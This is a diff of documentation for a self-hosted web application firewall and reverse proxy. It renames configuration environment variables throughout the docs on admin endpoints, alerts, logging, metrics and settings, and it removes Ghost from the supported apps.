addresses and encrypted file names get through.
|
||||||
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
|
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
|
||||||
its searches, its file names, its account names, its comments and its
|
WebDAV methods, searches, file names, account names, comments and
|
||||||
documents;
|
documents do too.
|
||||||
- `ghost`, whose fixes let through the text its admin and members type, its
|
|
||||||
analytics, its code injection, ActivityPub and a post saved from its
|
|
||||||
editor, HTML included.
|
|
||||||
- A random password, as a password manager makes one, gets through these forms:
|
- A random password, as a password manager makes one, gets through these forms:
|
||||||
- signing in, signing up, and changing or resetting a password, on
|
- signing in, signing up, and changing or resetting a password, on
|
||||||
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
|
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea;
|
||||||
- moving or deleting the account, on Mastodon;
|
- moving or deleting the account, on Mastodon;
|
||||||
- deleting the account, on gitea;
|
- deleting the account, on gitea;
|
||||||
- the admin page, on Vaultwarden, whose apps send a hash of the master
|
- the admin page, on Vaultwarden, whose apps send a hash of the master
|
||||||
password, not the password itself.
|
password, not the password itself.
|
||||||
- `SWW_WAF_APPS` names the apps each hostname serves. A hostname gets only its
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||||
own apps' fixes. A hostname `SWW_WAF_APPS` does not list gets none. Unset,
|
fields or paths.
|
||||||
every app's fixes apply to every hostname.
|
|
||||||
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's
|
|
||||||
own fields or paths.
|
|
||||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||||
while `waf` runs. The image ships one file of probes no real visitor sends
|
while `waf` runs. The image ships one file of probes no real visitor sends
|
||||||
(see [`docs/rules.md`](docs/rules.md)).
|
(see [`docs/rules.md`](docs/rules.md)).
|
||||||
@@ -632,12 +622,12 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
|
|
||||||
`waf` keeps everything in memory, and JSON files hold a copy:
|
`waf` keeps everything in memory, and JSON files hold a copy:
|
||||||
|
|
||||||
- The state files, in `SWW_WAF_STATE_DIR`, hold what cannot be fetched again:
|
- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again:
|
||||||
- `bans.json`;
|
- `bans.json`;
|
||||||
- `clients.json`;
|
- `clients.json`;
|
||||||
- `abuseipdb-checks-spent.json`;
|
- `abuseipdb-checks-spent.json`;
|
||||||
- `alerts.json`.
|
- `alerts.json`.
|
||||||
- The cache files, in `SWW_WAF_CACHE_DIR`, hold answers from outside services:
|
- The cache files, in `SWW_CACHE_DIR`, hold answers from outside services:
|
||||||
- `lookups.json`, from GeoJS;
|
- `lookups.json`, from GeoJS;
|
||||||
- `lists.json`, the lists fetched by URL;
|
- `lists.json`, the lists fetched by URL;
|
||||||
- `dnsbl.json`, from the DNS blocklists;
|
- `dnsbl.json`, from the DNS blocklists;
|
||||||
|
|||||||
@@ -5,16 +5,16 @@ answers them at its own address, on the private network. "Admin endpoints" in
|
|||||||
[`SPEC.md`](../SPEC.md) says how their tokens work.
|
[`SPEC.md`](../SPEC.md) says how their tokens work.
|
||||||
|
|
||||||
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
|
||||||
- `GET /_sww/metrics`: the metrics, for `SWW_WAF_METRICS_TOKEN` (see
|
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
|
||||||
[`metrics.md`](metrics.md)).
|
[`metrics.md`](metrics.md)).
|
||||||
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
|
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
|
||||||
Needs `SWW_WAF_ADMIN_TOKEN`, as do the three below.
|
Needs `SWW_ADMIN_TOKEN`, as do the three below.
|
||||||
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
|
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
|
||||||
`duration` and, if you like, `reason`. `netblock` is a netblock such as
|
`duration` and, if you like, `reason`. `netblock` is a netblock such as
|
||||||
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
|
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
|
||||||
(`SWW_WAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration
|
(`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
|
||||||
such as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying
|
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
|
||||||
what is wrong:
|
wrong:
|
||||||
- one that is not such an object, or has another field;
|
- one that is not such an object, or has another field;
|
||||||
- one longer than 4 KiB;
|
- one longer than 4 KiB;
|
||||||
- one that names an IPv4-mapped netblock, or an address with a zone.
|
- one that names an IPv4-mapped netblock, or an address with a zone.
|
||||||
@@ -38,7 +38,7 @@ answered `404`, so that the app never sees that prefix (see "`rproxy`" in
|
|||||||
|
|
||||||
## Examples
|
## Examples
|
||||||
|
|
||||||
With `SWW_WAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as
|
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as
|
||||||
`waf:8080` on its network:
|
`waf:8080` on its network:
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
|
|||||||
+4
-4
@@ -78,8 +78,8 @@ on one line:
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
- `instance`: `SWW_WAF_INSTANCE_NAME`. `time`: when the alert was raised.
|
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
|
||||||
`event`: one of the events above.
|
one of the events above.
|
||||||
- `host`: the site of the request that raised the alert, since one `waf` serves
|
- `host`: the site of the request that raised the alert, since one `waf` serves
|
||||||
many sites. It is left out of `source_failure`, `file_error` and `summary`.
|
many sites. It is left out of `source_failure`, `file_error` and `summary`.
|
||||||
- `client`: the address whose request raised the alert. Empty for
|
- `client`: the address whose request raised the alert. Empty for
|
||||||
@@ -122,8 +122,8 @@ Slack gets the title in bold and the text below it, with `&`, `<` and `>`
|
|||||||
escaped. ntfy gets the text as the message, with these headers:
|
escaped. ntfy gets the text as the message, with these headers:
|
||||||
|
|
||||||
- `Title`: the title;
|
- `Title`: the title;
|
||||||
- `Authorization`: the token, as `Bearer <token>`, while
|
- `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN`
|
||||||
`SWW_WAF_ALERT_NTFY_TOKEN` is set;
|
is set;
|
||||||
- `Priority` and `Tags`: by event, as listed below.
|
- `Priority` and `Tags`: by event, as listed below.
|
||||||
|
|
||||||
The priority and tag by event:
|
The priority and tag by event:
|
||||||
|
|||||||
+1
-1
@@ -20,7 +20,7 @@ way.
|
|||||||
`share/sww.run`.
|
`share/sww.run`.
|
||||||
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
|
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
|
||||||
default rule file `share/rules.d/00-default.rules`. The `run` script makes
|
default rule file `share/rules.d/00-default.rules`. The `run` script makes
|
||||||
`SWW_WAF_STATE_DIR` when it is missing.
|
`SWW_STATE_DIR` when it is missing.
|
||||||
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
||||||
|
|
||||||
## Pins
|
## Pins
|
||||||
|
|||||||
+2
-3
@@ -6,7 +6,7 @@ the `instance` label as `exported_instance` unless the scrape sets
|
|||||||
`honor_labels: true`. `rproxy` has no metrics.
|
`honor_labels: true`. `rproxy` has no metrics.
|
||||||
|
|
||||||
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
||||||
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
|
body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
|
||||||
|
|
||||||
## Traffic
|
## Traffic
|
||||||
|
|
||||||
@@ -33,8 +33,7 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
|
|||||||
|
|
||||||
## Countries and AS numbers
|
## Countries and AS numbers
|
||||||
|
|
||||||
For the `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` busiest of each, the rest
|
For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`:
|
||||||
as `other`:
|
|
||||||
|
|
||||||
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
||||||
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
||||||
|
|||||||
+17
-21
@@ -43,7 +43,7 @@ Every one of these lines has:
|
|||||||
|
|
||||||
- `time`: when `waf` had read the question's body, RFC 3339 with milliseconds,
|
- `time`: when `waf` had read the question's body, RFC 3339 with milliseconds,
|
||||||
in UTC. The `report` line gives the same time as the `decision` line.
|
in UTC. The `report` line gives the same time as the `decision` line.
|
||||||
- `instance`: `SWW_WAF_INSTANCE_NAME`.
|
- `instance`: `SWW_INSTANCE_NAME`.
|
||||||
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
||||||
- `method`, `path` and `query`: the visitor's request.
|
- `method`, `path` and `query`: the visitor's request.
|
||||||
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
|
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
|
||||||
@@ -80,8 +80,8 @@ Every one of these lines has:
|
|||||||
- GeoJS had not answered by the time `waf` answered.
|
- GeoJS had not answered by the time `waf` answered.
|
||||||
- `content_type`: the visitor's `Content-Type`.
|
- `content_type`: the visitor's `Content-Type`.
|
||||||
- `content_length`: the body length the visitor announced.
|
- `content_length`: the body length the visitor announced.
|
||||||
- `request_headers`: the headers listed in `SWW_WAF_LOG_REQUEST_HEADERS`, by
|
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
|
||||||
name in lower case.
|
lower case.
|
||||||
- `has_authorization` and `has_cookie`: true when the request had those headers.
|
- `has_authorization` and `has_cookie`: true when the request had those headers.
|
||||||
Their values are never logged.
|
Their values are never logged.
|
||||||
|
|
||||||
@@ -94,8 +94,8 @@ Every one of these lines has:
|
|||||||
|
|
||||||
- `action`: what was done:
|
- `action`: what was done:
|
||||||
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
|
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
|
||||||
- `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source
|
- `client_denied`: refused for `SWW_DENY_NETS`, for a reputation source with
|
||||||
with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`;
|
the action `deny`, or for a tag in `SWW_TAG_DENY`;
|
||||||
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
|
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
|
||||||
rule, a trap path or a CrowdSec decision that made such a ban;
|
rule, a trap path or a CrowdSec decision that made such a ban;
|
||||||
- `permanently_banned`: refused under a ban that never runs out, including a
|
- `permanently_banned`: refused under a ban that never runs out, including a
|
||||||
@@ -112,24 +112,22 @@ Every one of these lines has:
|
|||||||
is left out when none did.
|
is left out when none did.
|
||||||
- `heuristic_figures`: an object of the figures that heuristic acted on. Each
|
- `heuristic_figures`: an object of the figures that heuristic acted on. Each
|
||||||
heuristic and its figures:
|
heuristic and its figures:
|
||||||
- `deny_nets`: `netblock`, the entry of `SWW_WAF_DENY_NETS` the client is
|
- `deny_nets`: `netblock`, the entry of `SWW_DENY_NETS` the client is in;
|
||||||
in;
|
|
||||||
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
|
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
|
||||||
- `countries`: `country`, and `setting`, the country list that refused it;
|
- `countries`: `country`, and `setting`, the country list that refused it;
|
||||||
- `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries;
|
- `tag_deny`: `tag`, the tag of `SWW_TAG_DENY` the request carries;
|
||||||
- `blocklists`: `lists`, the blocklist URLs that list the client;
|
- `blocklists`: `lists`, the blocklist URLs that list the client;
|
||||||
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
|
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
|
||||||
decision ends;
|
decision ends;
|
||||||
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
|
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
|
||||||
masked;
|
masked;
|
||||||
- `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`;
|
- `abuseipdb`: `score`, and `min_score`, `SWW_ABUSEIPDB_MIN_SCORE`;
|
||||||
- `rate_limits`: `window`, `count` and `limit`;
|
- `rate_limits`: `window`, `count` and `limit`;
|
||||||
- `trap_paths`: `path`, the trap path asked for;
|
- `trap_paths`: `path`, the trap path asked for;
|
||||||
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
||||||
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
||||||
- `core_rule_set`: `score`, and `threshold`,
|
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
|
||||||
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`;
|
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
||||||
- `refusal_limit`: `window`, `count` and `limit`, of the refusal limit;
|
|
||||||
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
||||||
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
|
- `after_answer_heuristic`: the heuristic that banned the client after `waf`
|
||||||
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
|
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
|
||||||
@@ -148,7 +146,7 @@ Every one of these lines has:
|
|||||||
holds:
|
holds:
|
||||||
- `minute`, `hour` and `day`: requests;
|
- `minute`, `hour` and `day`: requests;
|
||||||
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
||||||
`SWW_WAF_BYTES_COUNTED` names, in that window.
|
`SWW_BYTES_COUNT` names, in that window.
|
||||||
|
|
||||||
A count can have a fraction (see "Counting method" in
|
A count can have a fraction (see "Counting method" in
|
||||||
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
||||||
@@ -158,8 +156,7 @@ Every one of these lines has:
|
|||||||
- `limit_hit`: the limit broken:
|
- `limit_hit`: the limit broken:
|
||||||
- `minute`, `hour` or `day` for a rate limit;
|
- `minute`, `hour` or `day` for a rate limit;
|
||||||
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
||||||
- `minute_refusals` for the refusal limit
|
- `minute_refusals` for the error burst (`SWW_ERROR_BURST_THRESHOLD`).
|
||||||
(`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`).
|
|
||||||
|
|
||||||
When the bytes counted for a request and its response break a limit, the
|
When the bytes counted for a request and its response break a limit, the
|
||||||
request has been passed on whole, so its `action` stays `forward`. Only its
|
request has been passed on whole, so its `action` stays `forward`. Only its
|
||||||
@@ -177,7 +174,7 @@ Every one of these lines has:
|
|||||||
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
|
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
|
||||||
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
|
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
|
||||||
- `routewatch_tags_missing`: why the request got no tags from routewatch,
|
- `routewatch_tags_missing`: why the request got no tags from routewatch,
|
||||||
present only while `SWW_WAF_ROUTEWATCH_URL` is set:
|
present only while `SWW_ROUTEWATCH_URL` is set:
|
||||||
- `no_answer_yet`: routewatch has not answered about this client yet;
|
- `no_answer_yet`: routewatch has not answered about this client yet;
|
||||||
- `request_failed`: a query to routewatch failed within the last minute, and
|
- `request_failed`: a query to routewatch failed within the last minute, and
|
||||||
the process log says why;
|
the process log says why;
|
||||||
@@ -234,15 +231,14 @@ meanings where they differ:
|
|||||||
was sooner. It includes the wait for `waf`.
|
was sooner. It includes the wait for `waf`.
|
||||||
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
||||||
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
||||||
is `waf`'s answer, or the value of
|
is `waf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left out
|
||||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. It is left out when:
|
when:
|
||||||
- `waf` was not asked, as for the health check;
|
- `waf` was not asked, as for the health check;
|
||||||
- the visitor went away while `waf` was being asked;
|
- the visitor went away while `waf` was being asked;
|
||||||
- `waf`'s answer had no valid `X-Sww-Disposition`;
|
- `waf`'s answer had no valid `X-Sww-Disposition`;
|
||||||
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
|
- `rproxy` could not pass on `waf`'s answer, and answered `502`.
|
||||||
- `waf_backend_no_answer`: `true` when
|
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
|
||||||
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` gave `disposition`, and
|
`disposition`, and otherwise left out.
|
||||||
otherwise left out.
|
|
||||||
|
|
||||||
For example:
|
For example:
|
||||||
|
|
||||||
|
|||||||
+244
-286
@@ -4,16 +4,14 @@ Every setting, its default and the values it takes, in the groups of "Settings"
|
|||||||
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
||||||
that take `off`, the `_FILE` form, and what each group does and why.
|
that take `off`, the `_FILE` form, and what each group does and why.
|
||||||
|
|
||||||
The settings that start with `SWW_WAF_` are `waf`'s. Those that start with
|
The settings that start with `SWW_` are `waf`'s. Those that start with `SWRP_`
|
||||||
`SWW_RPROXY_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND`
|
are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses between
|
||||||
chooses between the two (see "The image's command" below).
|
the two (see "The image's command" below).
|
||||||
|
|
||||||
## Forms of values
|
## Forms of values
|
||||||
|
|
||||||
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
|
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
|
||||||
and negative durations are refused.
|
and negative durations are refused.
|
||||||
- A time in milliseconds is a whole number above zero, such as `2000`. Its
|
|
||||||
setting's name ends in `_MS`.
|
|
||||||
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
|
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
|
||||||
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
|
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
|
||||||
- A count is a whole number of requests, such as `1000`.
|
- A count is a whole number of requests, such as `1000`.
|
||||||
@@ -30,101 +28,98 @@ chooses between the two (see "The image's command" below).
|
|||||||
|
|
||||||
## Core
|
## Core
|
||||||
|
|
||||||
- `SWW_WAF_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port,
|
- `SWW_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port, such
|
||||||
such as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
|
as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
|
||||||
- `SWW_WAF_INSTANCE_NAME` (default: the container's host name): the `instance`
|
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
|
||||||
name in each line `waf` logs, and in each alert and metric, such as
|
in each line `waf` logs, and in each alert and metric, such as `fsn1/waf`.
|
||||||
`fsn1/waf`. Valid UTF-8. No control character while `SWW_WAF_ALERT_NTFY_URL`
|
Valid UTF-8. No control character while `SWW_ALERT_NTFY_URL` is set. 1 to 48
|
||||||
is set. 1 to 48 printable ASCII characters without a space while
|
printable ASCII characters without a space while `SWW_LOG_REMOTE_URL` is set
|
||||||
`SWW_WAF_LOG_REMOTE_URL` is set and `SWW_WAF_LOG_REMOTE_APP_NAME` is not.
|
and `SWW_LOG_REMOTE_APP_NAME` is not.
|
||||||
- `SWW_WAF_MODE` (default `enforce`): `enforce` or `observe`.
|
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
|
||||||
- `SWW_WAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
|
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
|
||||||
client's group, from 32 to 128.
|
group, from 32 to 128.
|
||||||
- `SWW_WAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a
|
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
|
||||||
whole number above zero.
|
number above zero.
|
||||||
- `SWW_WAF_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a
|
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a whole
|
||||||
whole number above zero.
|
number above zero.
|
||||||
|
|
||||||
## Tokens
|
## Tokens
|
||||||
|
|
||||||
- `SWW_WAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
|
- `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
|
||||||
`/_sww/clients/<ip>`. At least 32 characters.
|
`/_sww/clients/<ip>`. At least 32 characters.
|
||||||
- `SWW_WAF_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At
|
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
|
||||||
least 32 characters.
|
32 characters.
|
||||||
|
|
||||||
## State and cache files
|
## State and cache files
|
||||||
|
|
||||||
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
|
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
||||||
files, an absolute path that can be written. The image's `run` script makes
|
absolute path that can be written. The image's `run` script makes it.
|
||||||
it.
|
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||||
- `SWW_WAF_BANS_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
|
||||||
written after a ban is made, lifted or made permanent. A duration.
|
written after a ban is made, lifted or made permanent. A duration.
|
||||||
- `SWW_WAF_STATE_WRITE_INTERVAL` (default `15m`): how often every state and
|
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and cache
|
||||||
cache file is written. A duration.
|
file is written. A duration.
|
||||||
- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
|
- `SWW_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache files,
|
||||||
files, an absolute path that can be written. The image's `run` script makes
|
an absolute path that can be written. The image's `run` script makes it.
|
||||||
it.
|
|
||||||
|
|
||||||
## Logging
|
## Logging
|
||||||
|
|
||||||
- `SWW_WAF_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages
|
- `SWW_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages
|
||||||
that are written: `debug`, `info`, `warn` or `error`.
|
that are written: `debug`, `info`, `warn` or `error`.
|
||||||
- `SWW_WAF_LOG_REQUEST_HEADERS` (default
|
- `SWW_LOG_REQUEST_HEADERS` (default
|
||||||
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
`accept,accept-language,accept-encoding,content-type,origin,range`): the
|
||||||
request headers recorded in the log line, in either case. `Host` and
|
request headers recorded in the log line, in either case. `Host` and
|
||||||
`Transfer-Encoding` are refused; the host is the field `host`.
|
`Transfer-Encoding` are refused; the host is the field `host`.
|
||||||
- `SWW_WAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
|
- `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
|
||||||
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
|
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
|
||||||
each with a host and a port and nothing more.
|
each with a host and a port and nothing more.
|
||||||
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
|
- `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that
|
||||||
that a `syslog+tls` server's certificate must chain to, instead of the host's
|
a `syslog+tls` server's certificate must chain to, instead of the host's own.
|
||||||
own. A file that cannot be read, or holds no certificate, is refused.
|
A file that cannot be read, or holds no certificate, is refused.
|
||||||
- `SWW_WAF_LOG_REMOTE_BUFFER_LINES` (default `10000`): the most lines held while
|
- `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait
|
||||||
they wait to be sent, a whole number above zero.
|
to be sent, a whole number above zero.
|
||||||
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
- `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
|
||||||
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
|
||||||
`authpriv`, `ftp`, or `local0` to `local7`.
|
`authpriv`, `ftp`, or `local0` to `local7`.
|
||||||
- `SWW_WAF_LOG_REMOTE_APP_NAME` (default: `SWW_WAF_INSTANCE_NAME`): the app name
|
- `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each
|
||||||
in each syslog record, 1 to 48 printable ASCII characters without a space.
|
syslog record, 1 to 48 printable ASCII characters without a space.
|
||||||
|
|
||||||
## Metrics
|
## Metrics
|
||||||
|
|
||||||
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` (default `50`): how many AS
|
- `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries
|
||||||
numbers and how many countries get series of their own. A whole number above
|
get series of their own. A whole number above zero.
|
||||||
zero.
|
|
||||||
|
|
||||||
## Static lists
|
## Static lists
|
||||||
|
|
||||||
- `SWW_WAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
|
- `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring
|
||||||
monitoring (see step 4 in [`SPEC.md`](../SPEC.md)).
|
(see step 4 in [`SPEC.md`](../SPEC.md)).
|
||||||
- `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
|
- `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
|
||||||
exempt from rate limiting and the byte limits.
|
exempt from rate limiting and the byte limits.
|
||||||
- `SWW_WAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
|
- `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step
|
||||||
step 4 in [`SPEC.md`](../SPEC.md)).
|
4 in [`SPEC.md`](../SPEC.md)).
|
||||||
|
|
||||||
## Request rate limits, per client
|
## Request rate limits, per client
|
||||||
|
|
||||||
The request past one of these limits is refused, and the client is banned.
|
The request past one of these limits is refused, and the client is banned.
|
||||||
|
|
||||||
- `SWW_WAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests
|
- `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
|
||||||
a client may make in a minute. A count or `off`. The default leaves room for a
|
client may make in a minute. A count or `off`. The default leaves room for a
|
||||||
person opening two pages at once with an empty cache, up to 60 files each.
|
person opening two pages at once with an empty cache, up to 60 files each.
|
||||||
- `SWW_WAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
|
- `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
|
||||||
make in an hour. A count or `off`. It is the main limit against scrapers. A
|
make in an hour. A count or `off`. It is the main limit against scrapers. A
|
||||||
person reading a site for an hour, a page every 20 seconds, makes about 900. A
|
person reading a site for an hour, a page every 20 seconds, makes about 900. A
|
||||||
scraper making one request every 2 seconds makes 1,800 an hour, more than the
|
scraper making one request every 2 seconds makes 1,800 an hour, more than the
|
||||||
limit.
|
limit.
|
||||||
- `SWW_WAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may
|
- `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make
|
||||||
make in a day. A count or `off`. The default is four hours at the hour limit.
|
in a day. A count or `off`. The default is four hours at the hour limit. A
|
||||||
A scraper making one request every 10 seconds makes 8,640 a day, more than the
|
scraper making one request every 10 seconds makes 8,640 a day, more than the
|
||||||
limit.
|
limit.
|
||||||
- A CI runner asks its code forge for work all day and can pass the limits. Put
|
- A CI runner asks its code forge for work all day and can pass the limits. Put
|
||||||
the runners' addresses in `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
|
